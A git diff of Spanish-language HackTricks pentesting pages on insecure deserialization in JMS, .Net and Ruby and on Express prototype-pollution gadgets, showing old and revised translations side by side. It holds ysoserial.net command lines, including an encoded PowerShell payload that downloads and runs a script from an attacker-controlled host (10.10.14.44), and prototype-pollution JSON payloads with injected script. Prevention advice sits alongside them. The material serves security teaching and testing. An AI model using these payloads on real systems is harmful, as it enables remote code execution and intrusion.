* Documento y charla sobre deserialización de JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* CVEs de deserializaciones: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Inyección de JNDI y log4Shell
|
||||
## Inyección JNDI & log4Shell
|
||||
|
||||
Encuentra qué es **la inyección de JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
||||
Encuentra qué es **Inyección JNDI, cómo abusar de ella a través de RMI, CORBA & LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
||||
|
||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## JMS - Java Message Service
|
||||
## JMS - Servicio de Mensajes Java
|
||||
|
||||
> La API de **Java Message Service** (**JMS**) es una API de middleware orientada a mensajes en Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de Java Platform, Enterprise Edition (Java EE) y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Java Community Process. Es un estándar de mensajería que permite a los componentes de aplicaciones basadas en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> La API del **Servicio de Mensajes Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Enterprise Edition (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de la Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basados en Java EE crear, enviar, recibir y leer mensajes. Permite la comunicación entre diferentes componentes de una aplicación distribuida de manera desacoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Productos
|
||||
|
||||
|
@ -582,12 +586,12 @@ Hay varios productos que utilizan este middleware para enviar mensajes:
|
|||
|
||||
### Explotación
|
||||
|
||||
Entonces, básicamente hay **varios servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
|
||||
Esto significa que en esta explotación, todos los **clientes que vayan a utilizar ese mensaje se infectarán**.
|
||||
Entonces, básicamente hay **un montón de servicios que usan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (usualmente necesitarás credenciales válidas) podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
|
||||
Esto significa que en esta explotación todos los **clientes que van a usar ese mensaje se infectarán**.
|
||||
|
||||
Debes recordar que incluso si un servicio es vulnerable (porque deserializa de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
|
||||
Debes recordar que incluso si un servicio es vulnerable (porque está deserializando inseguramente la entrada del usuario) todavía necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
|
||||
|
||||
La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos**. Estos exploits funcionarán si el servicio aún es vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
|
||||
La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados usando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
|
||||
|
||||
### Referencias
|
||||
|
||||
|
@ -596,42 +600,43 @@ La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **
|
|||
|
||||
## .Net
|
||||
|
||||
.Net es similar a Java en cuanto a cómo funcionan los exploits de deserialización: El **exploit** abusará de gadgets que **ejecutan** algún código interesante cuando se **deserializa** un objeto.
|
||||
### Huella digital
|
||||
.Net es similar a Java en cuanto a cómo funcionan los exploits de deserialización: El **exploit** **abusará de gadgets** que **ejecutan** algún **código interesante cuando** un objeto es **deserializado**.
|
||||
|
||||
### Huella Digital
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
Busque en el código fuente los siguientes términos:
|
||||
Busca en el código fuente los siguientes términos:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Busque cualquier serializador donde el tipo sea establecido por una variable controlada por el usuario.
|
||||
Busca cualquier serializador donde el tipo esté establecido por una variable controlada por el usuario.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Puede buscar la cadena codificada en Base64 **AAEAAAD/////** u cualquier otra cosa que **pueda ser deserializada** en el backend y que le permita controlar el tipo deserializado. Por ejemplo, un **JSON** o **XML** que contenga `TypeObject` o `$type`.
|
||||
Puedes buscar la cadena codificada en Base64 **AAEAAAD/////** o cualquier otra cosa que **pueda ser deserializada** en el back-end y que te permita controlar el tipo deserializado\*\*.\*\* Por ejemplo, un **JSON** o **XML** que contenga `TypeObject` o `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
En este caso, puede utilizar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear exploits de deserialización**. Una vez descargado el repositorio de git, debe **compilar la herramienta** utilizando Visual Studio, por ejemplo.
|
||||
En este caso puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio de git, debes **compilar la herramienta** usando Visual Studio, por ejemplo.
|
||||
|
||||
Si desea aprender sobre **cómo ysoserial.net crea su exploit**, puede [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Si quieres aprender sobre **cómo ysoserial.net crea sus exploits** puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Las opciones principales de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* y **`--plugin`.**
|
||||
Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* y **`--plugin`.**
|
||||
|
||||
* **`--gadget`** se utiliza para indicar el gadget a abusar (indique la clase/función que se abusará durante la deserialización para ejecutar comandos).
|
||||
* **`--formatter`**, se utiliza para indicar el método para serializar el exploit (debe saber qué biblioteca está utilizando el backend para deserializar la carga útil y utilizar la misma para serializarla).
|
||||
* \*\*`--output` \*\* se utiliza para indicar si desea el exploit en formato **raw** o codificado en Base64. _Tenga en cuenta que **ysoserial.net** codificará la carga útil utilizando **UTF-16LE** (codificación utilizada de forma predeterminada en Windows), por lo que si obtiene el formato raw y simplemente lo codifica desde una consola de Linux, es posible que tenga algunos problemas de **compatibilidad de codificación** que evitarán que el exploit funcione correctamente (en el HTB JSON box, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._
|
||||
* \*\*`--plugin` \*\* ysoserial.net admite complementos para crear **exploits para frameworks específicos** como ViewState.
|
||||
* **`--gadget`** se utiliza para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
|
||||
* **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está usando el back-end para deserializar el payload y usar la misma para serializarlo)
|
||||
* \*\*`--output` \*\* se utiliza para indicar si quieres el exploit en **raw** o codificado en **base64**. _Nota que **ysoserial.net** codificará el payload usando **UTF-16LE** (codificación usada por defecto en Windows) así que si obtienes el raw y simplemente lo codificas desde una consola de Linux podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB el payload funcionó tanto en UTF-16LE como en ASCII pero esto no significa que siempre funcionará)._
|
||||
* \*\*`--plugin` \*\* ysoserial.net soporta plugins para crear **exploits para frameworks específicos** como ViewState
|
||||
|
||||
#### Más parámetros de ysoserial.net
|
||||
|
||||
* `--minify` proporcionará una carga útil **más pequeña** (si es posible).
|
||||
* `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden utilizar con un formateador proporcionado (`Json.Net` en este caso).
|
||||
* `--sf xml` puede **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
|
||||
* `--minify` proporcionará un **payload más pequeño** (si es posible)
|
||||
* `--raf -f Json.Net -c "cualquier cosa"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
|
||||
* `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (insensible a mayúsculas y minúsculas)
|
||||
|
||||
**Ejemplos de ysoserial.net** para crear exploits:
|
||||
**Ejemplos de ysoserial** para crear exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -649,7 +654,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** también tiene un parámetro muy interesante que ayuda a comprender mejor cómo funciona cada exploit: `--test`. Si indicas este parámetro, **ysoserial.net** intentará el exploit localmente, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
|
||||
Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** para que puedas probar si tu payload funcionará correctamente.\
|
||||
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
|
@ -663,7 +670,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||
}
|
||||
}
|
||||
```
|
||||
Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
|
@ -674,32 +681,32 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también es vulnerable.\
|
||||
Por lo tanto, el parámetro **`--test`** nos permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que puede crear **ysoserial.net**.
|
||||
En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también sea vulnerable.
|
||||
Por lo tanto, el parámetro **`--test`** nos permite entender **qué partes del código son vulnerables** al exploit de deserialización que **ysoserial.net** puede crear.
|
||||
|
||||
### ViewState
|
||||
|
||||
Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario**. Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee este post para saber cómo ejecutar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario.** Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee este post para saber cómo ejecutar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### **Prevención**
|
||||
|
||||
No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto utilizando, por ejemplo, `DataContractSerializer` o `XmlSerializer` si es posible.
|
||||
No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto, por ejemplo, utilizando `DataContractSerializer` o `XmlSerializer` si es posible.
|
||||
|
||||
Donde se esté utilizando `JSON.Net`, asegúrate de que `TypeNameHandling` solo esté configurado como `None`.
|
||||
Donde se utilice `JSON.Net`, asegúrate de que el `TypeNameHandling` esté configurado solo en `None`.
|
||||
```
|
||||
TypeNameHandling = TypeNameHandling.None
|
||||
```
|
||||
Si se va a utilizar `JavaScriptSerializer`, no lo utilice con un `JavaScriptTypeResolver`.
|
||||
Si se va a utilizar `JavaScriptSerializer`, entonces no lo use con un `JavaScriptTypeResolver`.
|
||||
|
||||
Si es necesario deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Uno debe ser consciente de que esto sigue siendo arriesgado, ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo,
|
||||
Si debe deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Se debe tener en cuenta que esto sigue siendo arriesgado ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo:
|
||||
```
|
||||
System.IO.FileInfo
|
||||
```
|
||||
Los objetos `FileInfo` que hacen referencia a archivos en el servidor pueden, al deserializarse, cambiar las propiedades de esos archivos, como por ejemplo, ponerlos en modo de solo lectura, lo que crea un potencial ataque de denegación de servicio.
|
||||
Los objetos `FileInfo` que hacen referencia a archivos realmente presentes en el servidor pueden, al deserializarse, cambiar las propiedades de esos archivos, por ejemplo, a solo lectura, creando un posible ataque de denegación de servicio.
|
||||
|
||||
Incluso si has limitado los tipos que pueden ser deserializados, recuerda que algunos tipos tienen propiedades que representan un riesgo. Por ejemplo, `System.ComponentModel.DataAnnotations.ValidationException` tiene una propiedad `Value` de tipo `Object`. Si este tipo es permitido para la deserialización, un atacante puede establecer la propiedad `Value` a cualquier tipo de objeto que elijan.
|
||||
Incluso si has limitado los tipos que pueden ser deserializados, recuerda que algunos tipos tienen propiedades que son riesgosas. `System.ComponentModel.DataAnnotations.ValidationException`, por ejemplo, tiene una propiedad `Value` de tipo `Object`. Si este tipo es el tipo permitido para la deserialización, entonces un atacante puede establecer la propiedad `Value` a cualquier tipo de objeto que elija.
|
||||
|
||||
Se debe evitar que los atacantes puedan controlar el tipo que se instanciará. Si esto es posible, incluso `DataContractSerializer` o `XmlSerializer` pueden ser subvertidos.
|
||||
Se debe prevenir que los atacantes puedan dirigir el tipo que será instanciado. Si esto es posible, entonces incluso `DataContractSerializer` o `XmlSerializer` pueden ser subvertidos, por ejemplo:
|
||||
```
|
||||
// Action below is dangerous if the attacker can change the data in the database
|
||||
var typename = GetTransactionTypeFromDatabase();
|
||||
|
@ -718,22 +725,22 @@ if (suspectObject is SomeDangerousObjectType)
|
|||
//generate warnings and dispose of suspectObject
|
||||
}
|
||||
```
|
||||
Para `BinaryFormatter` y `JSON.Net`, es posible crear una forma más segura de control de lista blanca utilizando un `SerializationBinder` personalizado.
|
||||
Para `BinaryFormatter` y `JSON.Net` es posible crear una forma más segura de control de lista blanca utilizando un `SerializationBinder` personalizado.
|
||||
|
||||
Manténgase actualizado sobre los gadgets de deserialización inseguros conocidos de .Net y preste especial atención a los lugares donde dichos tipos pueden ser creados por sus procesos de deserialización. **Un deserializador solo puede instanciar tipos que conoce**.
|
||||
Mantente actualizado sobre los gadgets de deserialización insegura de .Net conocidos y presta especial atención a los tipos que pueden ser creados por tus procesos de deserialización. **Un deserializador solo puede instanciar tipos que conoce**.
|
||||
|
||||
Mantenga cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a Internet. Como ejemplo, `System.Windows.Data.ObjectDataProvider` utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener una referencia a este ensamblado en un proyecto de servicio REST que deserializa datos no confiables.
|
||||
Intenta mantener cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a internet. Como ejemplo, `System.Windows.Data.ObjectDataProvider` utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener una referencia a este ensamblado en un proyecto de servicio REST que deserializa datos no confiables.
|
||||
|
||||
### **Referencias**
|
||||
|
||||
* Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* Java y .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca **marshal**: el primer método es **dump** que convierte un objeto en una secuencia de bytes **(serializar)**. Y el segundo método es **load** para convertir la secuencia de bytes nuevamente en un objeto (**deserializar**).\
|
||||
Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca **marshal**: el primer método es **dump** que convierte el objeto en flujos de bytes **(serializar)**. Y el segundo método es **load** para convertir flujos de bytes en objeto de nuevo (**deserializar**).\
|
||||
Ruby utiliza HMAC para firmar el objeto serializado y guarda la clave en uno de los siguientes archivos:
|
||||
|
||||
* config/environment.rb
|
||||
|
@ -810,16 +817,18 @@ require "base64"
|
|||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Otra cadena de RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Otra cadena RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,17 +1,18 @@
|
|||
# Gadgets de Prototype Pollution de Express
|
||||
# Gadgets de Contaminación de Prototipos en Express
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Servir respuestas XSS
|
||||
|
||||
### Cambiar el tipo de contenido JSON a HTML
|
||||
|
@ -20,11 +21,11 @@ En una aplicación Express que utiliza una **respuesta de tipo de contenido JSON
|
|||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
_.merge({}, req.body);
|
||||
res.send(req.body);
|
||||
_.merge({}, req.body);
|
||||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
En estos casos, normalmente no es posible realizar XSS con un tipo de contenido JSON. Sin embargo, con la contaminación del prototipo, podemos **confundir a Express para que sirva una respuesta HTML**. Esta vulnerabilidad depende de que la aplicación use **`res.send(obj)`** y utilice el analizador de cuerpo con el tipo de contenido application/json.
|
||||
En estos casos, normalmente no es posible XSS con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad depende de que la aplicación utilice **`res.send(obj)`** y use el analizador de cuerpo con el tipo de contenido application/json.
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
|
@ -38,27 +39,27 @@ Es posible hacer que express **renderice contenido UTF-7 con**:
|
|||
```
|
||||
## Técnicas de Escaneo Seguras
|
||||
|
||||
### Espacios en JSON
|
||||
### Espacios JSON
|
||||
|
||||
El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra que no romperá la funcionalidad:
|
||||
El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra, lo cual no romperá la funcionalidad:
|
||||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
Entonces, un JSON reflejado se verá así:
|
||||
Entonces un JSON reflejado se verá así:
|
||||
```json
|
||||
{"foo": "bar"} -- Note the extra space
|
||||
```
|
||||
### Cabeceras expuestas
|
||||
### Encabezados Expuestos
|
||||
|
||||
El siguiente gadget de PP hará que el servidor envíe de vuelta la cabecera HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
El siguiente gadget de PP hará que el servidor envíe de vuelta el encabezado HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
Se requiere que el módulo **CORS esté instalado**
|
||||
Requiere que el **módulo CORS esté instalado**
|
||||
|
||||
### **Método OPTIONS**
|
||||
|
||||
Con la siguiente carga útil, es posible **ocultar un método de una respuesta OPTIONS**:
|
||||
Con el siguiente payload, es posible **ocultar un método de una respuesta OPTIONS**:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
